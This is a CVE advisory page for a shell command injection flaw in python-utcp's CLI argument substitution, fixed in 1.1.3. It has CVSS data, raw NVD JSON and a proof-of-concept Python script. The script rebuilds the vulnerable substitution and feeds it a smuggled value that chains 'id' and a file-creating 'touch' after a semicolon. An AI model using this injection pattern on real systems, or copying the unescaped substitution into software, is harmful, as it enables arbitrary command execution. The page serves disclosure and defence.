Security Vulnerability Report
中文
CVE-2026-45369 CVSS 8.3 HIGH

CVE-2026-45369

Published: 2026-05-14 21:16:48
Last Modified: 2026-05-14 21:16:48

Description

python-utcp is the python implementation of UTCP. Prior to 1.1.3, the _substitute_utcp_args method in cli_communication_protocol.py inserts user-controlled tool_args values directly into shell command strings without any sanitization or escaping. These commands are then executed via /bin/bash -c (Unix) or powershell.exe -Command (Windows), allowing an attacker to inject arbitrary shell commands. This vulnerability is fixed in 1.1.3.

CVSS Details

CVSS Score
8.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

python-utcp < 1.1.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-45369 # This script demonstrates how unsanitized input can lead to command injection. import subprocess def simulate_vulnerable_substitute(command_template, tool_args): """ Simulates the vulnerable _substitute_utcp_args method. It directly inserts user-controlled tool_args into the command string. """ # VULNERABLE LINE: Direct string formatting without sanitization final_command = command_template.replace("{args}", tool_args) print(f"Executing: {final_command}") # Execution (simulating the /bin/bash -c or powershell.exe -Command call) # In a real scenario, this would run on the target system. try: # Using Unix shell for demonstration subprocess.call(["/bin/bash", "-c", final_command]) except Exception as e: print(f"Error: {e}") if __name__ == "__main__": # Normal usage print("--- Normal Usage ---") simulate_vulnerable_substitute("echo 'Processing tool {args}'", "--version") # Malicious usage (Exploitation) print("\n--- Exploitation ---") # Payload attempts to execute 'id' and create a file using command separator ';' malicious_payload = "--version; id; touch /tmp/pwned_by_cve_2026_45369" simulate_vulnerable_substitute("echo 'Processing tool {args}'", malicious_payload)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-45369", "sourceIdentifier": "[email protected]", "published": "2026-05-14T21:16:48.220", "lastModified": "2026-05-14T21:16:48.220", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "python-utcp is the python implementation of UTCP. Prior to 1.1.3, the _substitute_utcp_args method in cli_communication_protocol.py inserts user-controlled tool_args values directly into shell command strings without any sanitization or escaping. These commands are then executed via /bin/bash -c (Unix) or powershell.exe -Command (Windows), allowing an attacker to inject arbitrary shell commands. This vulnerability is fixed in 1.1.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://github.com/universal-tool-calling-protocol/python-utcp/security/advisories/GHSA-33p6-5jxp-p3x4", "source": "[email protected]"}]}}